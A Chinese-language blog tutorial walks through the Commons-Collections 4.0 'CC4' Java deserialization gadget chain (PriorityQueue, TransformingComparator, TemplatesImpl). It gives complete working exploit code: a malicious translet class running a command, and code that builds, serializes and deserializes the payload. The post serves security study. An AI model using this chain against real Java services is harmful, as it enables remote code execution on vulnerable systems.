Commons-Collections篇-CC4链分析

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies>

在这里插入图片描述

2.分析

我们继续在transform()处find usage,找到了TransformingComparator#compare()
在这里插入图片描述
在这里插入图片描述
这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
在这里插入图片描述
在这里插入图片描述
这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分
我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用
在这里插入图片描述
并且我们发现了PriorityQueue类的readObject方法
在这里插入图片描述
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);//序列化serializable(priorityQueue);unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出,并没有继续执行下去
在这里插入图片描述
首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  
priorityQueue.add(2);
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);//序列化
//        serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错
在这里插入图片描述
我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了
在这里插入图片描述

4.编写POC

我们对上面的进行总结,编写POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Class c = transformingComparator.getClass();Field trans = c.getDeclaredField("transformer");trans.setAccessible(true);trans.set(transformingComparator,chainedTransformer);//序列化serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们运行反序列化POC,成功弹出

package org.example;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述
所以这次的链还是比较简单的,整体路线为:

PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()instantiateTransformer.compare()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1451793.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

仿element-ui 实现自己组件库 <3>

目录 input 组件封装 v-model用在组件上 显示和隐藏密码 封装switch组件 实现转换的功能 设置checkbox input 组件封装 首先input组件的基本框架和样式&#xff1a; <div class"miao-input"><input class"miao-input_inner" > </div…

秋招突击——6/14——复习{(树形DP)树的最长路径}——新作{非递归求二叉树的深度、重复区间合并}

文章目录 引言复习树形DP——树的最长路径 新作使用dfs非递归计算二叉树的深度多个区间合并删除问题实现思路实现代码参考思路 总结 引言 这两天可能有点波动&#xff0c;但是算法题还是尽量保证复习和新作一块弄&#xff0c;数量上可能有所差别。 复习 树形DP——树的最长路…

Visual Studio Code 的安装教程和配置C语言环境插件推荐

目录 1.vscode简介2.下载安装vs code3.VSCode基础配置VSCode界面简介VSCode设置中文界面VSCode个性化设置VSCode常用设置基本编辑快捷键VSCode常用快捷键 4.下载安装MinGW5.设置vscode里的环境6.插件推荐7.vscode官方文档 1.vscode简介 VSCode是微软出的一款轻量级编辑器&…

WordPress实时搜索插件Ajax Search Lite,轻松替代默认搜索功能

WordPress自带的默认搜索功能是跳转到搜索结果页&#xff0c;如果你想要实时搜索功能&#xff0c;特别是在问答中心显示搜索功能&#xff0c;那么建议使用这个WordPress实时搜索插件Ajax Search Lite&#xff0c;它可以在文章、页面、自定义类型文章中搜索标题、内容、摘要、自…

八爪鱼现金流-022-mybatis插件加密和国密SM4算法

背景&#xff1a; 用户的金额数据&#xff0c;不希望被别人看到。 业务场景分析&#xff1a; 用户在页面上添加金额数据 -----> 服务器内存&#xff08;加密、解密&#xff09; -----> 存储数据库 调研及结果&#xff1a; 使用mybatis的拦截器插件&#xff0c;进行数…

LeetCode | 168.Excel表列名称

这道题一开始以为是简单的进制转换问题&#xff0c;用的以往的思路&#xff0c;对于一般性的进制转换题目&#xff0c;只需要不断地对 columnNumber 进行 % 运算取得最后一位&#xff0c;然后对 columnNumber 进行 / 运算&#xff0c;将已经取得的位数去掉&#xff0c;直到 col…

vue 渲染函数 h jsx

h 是什么 vue 提供的创建虚拟 DOM 节点 (vnode)的函数。 https://cn.vuejs.org/api/render-function.html#h jsx 是什么 JSX是 JavaScript XML&#xff08;HTML&#xff09;的缩写&#xff0c;表示在 JS 代码中书写 HTML 结构。简单理解就是&#xff1a; JSXjavascript xml&am…

机器学习:数据分布的漂移问题及应对方案

首先&#xff0c;让我们从一位高管告诉我的一个故事开始&#xff0c;很多读者可能对此感同身受。 大约两年前&#xff0c;他的公司聘请了一家咨询公司开发一个机器学习模型&#xff0c;帮助他们预测下周每种食品杂货需要多少&#xff0c;以便他们可以相应地补货。这家咨询公司…

PostgreSQL基础(十四):PostgreSQL的数据迁移

文章目录 PostgreSQL的数据迁移 PostgreSQL的数据迁移 PostgreSQL做数据迁移的插件非常多&#xff0c;可以从MySQL迁移到PostgreSQL也可以基于其他数据源迁移到PostgreSQL。 这种迁移的插件很多&#xff0c;这里只说一个&#xff0c;pgloader&#xff08;非常方便&#xff0…

Vulnhub-DC-9

靶机IP:192.168.20.144 kaliIP:192.168.20.128 网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP) 信息收集 nmap扫描一下端口及版本号 dirsearch扫目录 最后去前端界面观察发现也没什么隐藏路径。 观察功能&#xff0c;search引起注意&#xff0c;SQL注入测试 当输…

PPT: Pre-trained Prompt Tuning for Few-shot Learning

文章汇总 当前的问题 当前的学者(a)、(b)、©都是通过微调模型(encoder/decoder)来适应下游任务。尽管效果很好&#xff0c;但是一方面代价很大&#xff0c;一方面在小样本设置下&#xff0c;微调模型这种做法性能差得多。本文的想法&#xff1a;通过一些预训练任务仅冻结…

SringBoot 如何使用HTTPS请求及Nginx配置Https

SringBoot 如何使用HTTPS请求及Nginx配置Https SringBoot 如何使用HTTPS请求生成证书导入证书及配制创建配置类将pfx转成.key和.pem Nginx 安装SSL依赖./configure 安装依赖编译安装完openssl后报了新错 Nginx配置 SringBoot 如何使用HTTPS请求 生成证书 由于业务数据在传输过…

十分钟学会微调大语言模型

有同学给我留言说想知道怎么训练自己的大语言模型&#xff0c;让它更贴合自己的业务场景。完整的大语言模型训练成本比较高昂&#xff0c;不是我们业余玩家能搞的&#xff0c;如果我们只是想在某个业务场景或者垂直的方面加强大模型的能力&#xff0c;可以进行微调训练。 本文…

51交通灯

一、基本原理 利用51单片机控制各个路口红绿灯及时间显示。 设计的重点&#xff1a; 1、各个路口红绿灯亮灭的规则&#xff0c;暂不考虑左转方向&#xff1b; 2、倒计时的实现&#xff0c;利用单片机的定时器进行计数得到秒信号&#xff1b; 3、时间显示&#xff1a;东西南…

【LLM之RAG】Adaptive-RAG论文阅读笔记

研究背景 文章介绍了大型语言模型&#xff08;LLMs&#xff09;在处理各种复杂查询时的挑战&#xff0c;特别是在不同复杂性的查询处理上可能导致不必要的计算开销或处理不足的问题。为了解决这一问题&#xff0c;文章提出了一种自适应的查询处理框架&#xff0c;动态选择最合…

LeetCode | 434.字符串中的单词数

这道题直接使用语言内置的 split 函数可直接分离出字符串中的每个单词&#xff0c;但是要注意区分两种情况&#xff1a;1、空串&#xff1b;2、多个空格连续&#xff0c;分割后会出现空字符的情况&#xff0c;应该舍弃 class Solution(object):def countSegments(self, s):&qu…

通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器。通过对比三个算法可知&#xff0c;采用滑模控制算法&#xff0c;其具有最快的收敛性能&#xff0c;较强的鲁棒性&…

机器学习:人工智能的子领域之一

引言 人工智能&#xff08;AI&#xff09;已经成为现代科技的重要组成部分&#xff0c;推动了许多领域的创新与进步。在人工智能的诸多子领域中&#xff0c;机器学习&#xff08;ML&#xff09;无疑是最关键和最具影响力的一个。机器学习通过自动分析和学习数据中的模式&#x…

react 0至1 案例

/*** 导航 Tab 的渲染和操作** 1. 渲染导航 Tab 和高亮* 2. 评论列表排序* 最热 > 喜欢数量降序* 最新 > 创建时间降序* 1.点击记录当前type* 2.通过记录type和当前list中的type 匹配*/ import ./App.scss import avatar from ./images/bozai.png import {useState} …

云电脑有多好用?适合哪些人使用?

云电脑作为一种新型的计算模式&#xff0c;其应用场景广泛且多样&#xff0c;适合各类人群使用。云电脑适合什么人群使用&#xff1f;云电脑有哪些应用场景&#xff1f;有什么好的云电脑推荐&#xff1f;以下本文将详细探讨云电脑的主要应用场景及其适用人群的相关内容&#xf…